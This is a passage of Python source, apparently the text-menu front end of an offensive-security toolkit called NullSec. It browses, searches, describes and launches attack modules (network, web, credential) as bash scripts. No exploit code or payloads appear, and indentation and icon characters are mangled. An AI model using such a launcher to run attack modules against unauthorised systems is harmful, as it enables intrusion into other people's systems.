for i, cat in enumerate(sorted_cats, 1):
count = len(categories[cat])
icon = 'π' if 'Network' in cat else 'πΈοΈ' if 'Web' in cat else 'π' if 'Credential' in cat else 'π£'
print(f" {Colors.RED}[{i:2d}]{Colors.RESET} {icon} {Colors.CYAN}{cat}{Colors.RESET} {Colors.DIM}({count} modules){Colors.RESET}")
print(f"\n {Colors.GREEN}[B]{Colors.RESET} Back to Browser\n")
print(f"{Colors.CYAN}βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}")
choice = input(f"{Colors.WHITE} Select category: {Colors.RESET}").strip().lower()
if choice == 'b':
break
else:
try:
cat_idx = int(choice) - 1
if 0 <= cat_idx < len(sorted_cats):
browse_category_modules(sorted_cats[cat_idx])
except ValueError:
pass
def browse_category_modules(category):
"""Show all modules in a specific category"""
cat_modules = [m for m in MODULES if m['category'] == category]
if not cat_modules:
print(f"\n{Colors.RED}[!] No modules found in category: {category}{Colors.RESET}")
time.sleep(2)
return
page = 0
page_size = 10
total_pages = (len(cat_modules) + page_size - 1) // page_size
while True:
clear_screen()
start = page * page_size
end = min(start + page_size, len(cat_modules))
print(f"""
{Colors.CYAN}βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
{category.upper()} MODULES
{len(cat_modules)} modules - Page {page + 1}/{total_pages}
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}
""")
for mod in cat_modules[start:end]:
config_exists = os.path.exists(os.path.join(ATTACK_DIR, mod['script'].replace('.sh', '.json')))
enhanced = f"{Colors.GREEN}β{Colors.RESET}" if config_exists else f"{Colors.DIM}β{Colors.RESET}"
print(f"""
{Colors.RED}[{mod['id']:3d}]{Colors.RESET} {enhanced} {mod['icon']} {Colors.BOLD}{mod['name']}{Colors.RESET}
{Colors.DIM}{mod['desc']}{Colors.RESET}
""")
print(f"{Colors.CYAN}βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}")
print(f" {Colors.YELLOW}[N]{Colors.RESET} Next {Colors.YELLOW}[P]{Colors.RESET} Previous {Colors.YELLOW}[1-{len(MODULES)}]{Colors.RESET} Launch {Colors.YELLOW}[B]{Colors.RESET} Back")
print(f"{Colors.CYAN}βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}")
choice = input(f"{Colors.WHITE} Enter choice: {Colors.RESET}").strip().lower()
if choice == 'b':
break
elif choice == 'n':
page = (page + 1) % total_pages
elif choice == 'p':
page = (page - 1) % total_pages
else:
try:
mod_id = int(choice)
mod = next((m for m in MODULES if m['id'] == mod_id), None)
if mod:
launch_module_with_options(mod)
except ValueError:
pass
def search_modules_detailed():
"""Search modules with detailed results"""
clear_screen()
print(f"""
{Colors.CYAN}βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
MODULE SEARCH
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}
""")
query = input(f"\n{Colors.WHITE} Search (name/description/category): {Colors.RESET}").strip().lower()
if not query:
return
results = [m for m in MODULES if query in m['name'].lower() or
query in m['desc'].lower() or query in m['category'].lower() or
query in m['script'].lower()]
if not results:
print(f"\n{Colors.RED}[!] No modules found matching '{query}'{Colors.RESET}")
time.sleep(2)
return
while True:
clear_screen()
print(f"""
{Colors.CYAN}βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
SEARCH RESULTS: "{query}"
Found {len(results)} modules
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}
""")
for mod in results[:15]: # Show first 15 results
config_exists = os.path.exists(os.path.join(ATTACK_DIR, mod['script'].replace('.sh', '.json')))
enhanced = f"{Colors.GREEN}[Enhanced]{Colors.RESET}" if config_exists else ""
print(f"""
{Colors.RED}[{mod['id']:3d}]{Colors.RESET} {mod['icon']} {Colors.BOLD}{mod['name']}{Colors.RESET} {enhanced}
{Colors.CYAN}{mod['category']}{Colors.RESET} - {Colors.DIM}{mod['desc']}{Colors.RESET}
""")
if len(results) > 15:
print(f"\n{Colors.DIM}... and {len(results) - 15} more results{Colors.RESET}")
print(f"\n{Colors.CYAN}βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}")
print(f" {Colors.YELLOW}[1-{len(MODULES)}]{Colors.RESET} Launch Module {Colors.YELLOW}[B]{Colors.RESET} Back")
print(f"{Colors.CYAN}βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}")
choice = input(f"{Colors.WHITE} Enter choice: {Colors.RESET}").strip().lower()
if choice == 'b':
break
else:
try:
mod_id = int(choice)
mod = next((m for m in MODULES if m['id'] == mod_id), None)
if mod:
launch_module_with_options(mod)
except ValueError:
pass
def show_recent_modules():
"""Show recently used modules"""
clear_screen()
print(f"""
{Colors.CYAN}βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
RECENTLY USED MODULES
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}
""")
if not COMMAND_HISTORY:
print(f"\n{Colors.YELLOW}[*] No modules have been executed yet{Colors.RESET}")
else:
recent = []
for cmd in reversed(COMMAND_HISTORY[-10:]):
if cmd.endswith('.sh'):
script_name = os.path.basename(cmd)
mod = next((m for m in MODULES if m['script'] == script_name), None)
if mod and mod not in recent:
recent.append(mod)
if recent:
for i, mod in enumerate(recent, 1):
print(f"\n {Colors.RED}[{mod['id']}]{Colors.RESET} {mod['icon']} {Colors.BOLD}{mod['name']}{Colors.RESET}")
print(f" {Colors.DIM}{mod['desc']}{Colors.RESET}")
else:
print(f"\n{Colors.YELLOW}[*] No recent module executions found{Colors.RESET}")
input(f"\n{Colors.YELLOW}Press ENTER to continue...{Colors.RESET}")
def show_enhanced_modules():
"""Show only modules with enhanced JSON configs"""
enhanced = []
for mod in MODULES:
config_path = os.path.join(ATTACK_DIR, mod['script'].replace('.sh', '.json'))
if os.path.exists(config_path):
enhanced.append(mod)
page = 0
page_size = 10
total_pages = (len(enhanced) + page_size - 1) // page_size
while True:
clear_screen()
start = page * page_size
end = min(start + page_size, len(enhanced))
print(f"""
{Colors.CYAN}βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ENHANCED MODULES (Interactive Framework)
{len(enhanced)} modules - Page {page + 1}/{total_pages}
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}
""")
for mod in enhanced[start:end]:
print(f"""
{Colors.RED}[{mod['id']:3d}]{Colors.RESET} {Colors.GREEN}β{Colors.RESET} {mod['icon']} {Colors.BOLD}{mod['name']}{Colors.RESET}
{Colors.CYAN}{mod['category']}{Colors.RESET} - {Colors.DIM}{mod['desc']}{Colors.RESET}
""")
print(f"{Colors.CYAN}βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}")
print(f" {Colors.YELLOW}[N]{Colors.RESET} Next {Colors.YELLOW}[P]{Colors.RESET} Previous {Colors.YELLOW}[1-{len(MODULES)}]{Colors.RESET} Launch {Colors.YELLOW}[B]{Colors.RESET} Back")
print(f"{Colors.CYAN}βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}")
choice = input(f"{Colors.WHITE} Enter choice: {Colors.RESET}").strip().lower()
if choice == 'b':
break
elif choice == 'n':
page = (page + 1) % total_pages
elif choice == 'p':
page = (page - 1) % total_pages
else:
try:
mod_id = int(choice)
mod = next((m for m in MODULES if m['id'] == mod_id), None)
if mod:
launch_module_with_options(mod)
except ValueError:
pass
def launch_module_with_options(mod):
"""Launch a module with execution method selection"""
clear_screen()
config_path = os.path.join(ATTACK_DIR, mod['script'].replace('.sh', '.json'))
has_config = os.path.exists(config_path)
print(f"""
{Colors.CYAN}βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
LAUNCH MODULE
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}
{Colors.BOLD}{mod['icon']} {mod['name']}{Colors.RESET}
{Colors.DIM}βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}
{Colors.CYAN}Category:{Colors.RESET} {mod['category']}
{Colors.CYAN}Description:{Colors.RESET} {mod['desc']}
{Colors.CYAN}Script:{Colors.RESET} {mod['script']}
{Colors.CYAN}Enhanced:{Colors.RESET} {Colors.GREEN}Yes{Colors.RESET if has_config else Colors.YELLOW}No{Colors.RESET}
{Colors.YELLOW}Launch Options:{Colors.RESET}
{Colors.RED}[1]{Colors.RESET} Enhanced Framework (Interactive with logging)
{Colors.RED}[2]{Colors.RESET} Standard Execution (Direct bash execution)
{Colors.RED}[3]{Colors.RESET} Desktop GUI (Launch in GUI if available)
{Colors.RED}[4]{Colors.RESET} External Terminal (New window)
{Colors.RED}[5]{Colors.RESET} View Module Details
{Colors.GREEN}[B]{Colors.RESET} Back
{Colors.CYAN}βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}
""")
choice = input(f"{Colors.WHITE} Select launch method: {Colors.RESET}").strip()
if choice == '1':
if has_config:
run_module(mod)
else:
print(f"\n{Colors.YELLOW}[!] No enhanced config available, using standard execution{Colors.RESET}")
time.sleep(1)
run_module(mod)
elif choice == '2':
script_path = os.path.join(ATTACK_DIR, mod['script'])
subprocess.run(['bash', script_path])
input(f"\n{Colors.YELLOW}Press ENTER to continue...{Colors.RESET}")
elif choice == '3':
launch_desktop_gui()
elif choice == '4':
run_module(mod, external=True)
elif choice == '5':
view_module_details(mod, has_config, config_path)
def view_module_details(mod, has_config, config_path):
"""View detailed module information"""
clear_screen()
print(f"""
{Colors.CYAN}βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
MODULE DETAILS
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}
{Colors.BOLD}{mod['icon']} {mod['name']}{Colors.RESET}
{Colors.DIM}βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}
{Colors.CYAN}ID:{Colors.RESET} {mod['id']}
{Colors.CYAN}Category:{Colors.RESET} {mod['category']}
{Colors.CYAN}Description:{Colors.RESET} {mod['desc']}
{Colors.CYAN}Script:{Colors.RESET} {mod['script']}
{Colors.CYAN}Path:{Colors.RESET} {os.path.join(ATTACK_DIR, mod['script'])}
{Colors.CYAN}Enhanced:{Colors.RESET} {Colors.GREEN}Yes{Colors.RESET if has_config else Colors.YELLOW}No{Colors.RESET}
""")
if has_config:
try:
with open(config_path, 'r') as f:
config_data = json.load(f)
print(f"""
{Colors.CYAN}Enhanced Configuration:{Colors.RESET}
{Colors.CYAN} Author:{Colors.RESET} {config_data.get('author', 'Unknown')}
{Colors.CYAN} Version:{Colors.RESET} {config_data.get('version', '1.0')}
{Colors.CYAN} Parameters:{Colors.RESET} {len(config_data.get('parameters', []))} parameters
""")
if config_data.get('parameters'):
print(f"\n{Colors.CYAN}Parameters:{Colors.RESET}")
for param in config_data.get('parameters', [])[:5]:
req = f"{Colors.RED}*{Colors.RESET}" if param.get('required') else ""
print(f" β’ {param.get('name')} {req} - {param.get('description', 'No description')[:60]}")
if len(config_data.get('parameters', [])) > 5:
print(f" {Colors.DIM}... and {len(config_data['parameters']) - 5} more{Colors.RESET}")
except:
pass
print(f"\n{Colors.CYAN}βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}")
input(f"{Colors.YELLOW}Press ENTER to continue...{Colors.RESET}")
def launch_desktop_gui():
"""Launch the desktop GUI"""
gui_script = os.path.join(SCRIPT_DIR, 'nullsec-desktop', 'nullsec_desktop.py')
if os.path.exists(gui_script):
print(f"\n{Colors.GREEN}[*] Launching NullSec Desktop GUI...{Colors.RESET}")
subprocess.Popen(['python3', gui_script])
time.sleep(1)
else:
print(f"\n{Colors.RED}[!] Desktop GUI not found at: {gui_script}{Colors.RESET}")
input(f"{Colors.YELLOW}Press ENTER to continue...{Colors.RESET}")
def launch_cli_framework():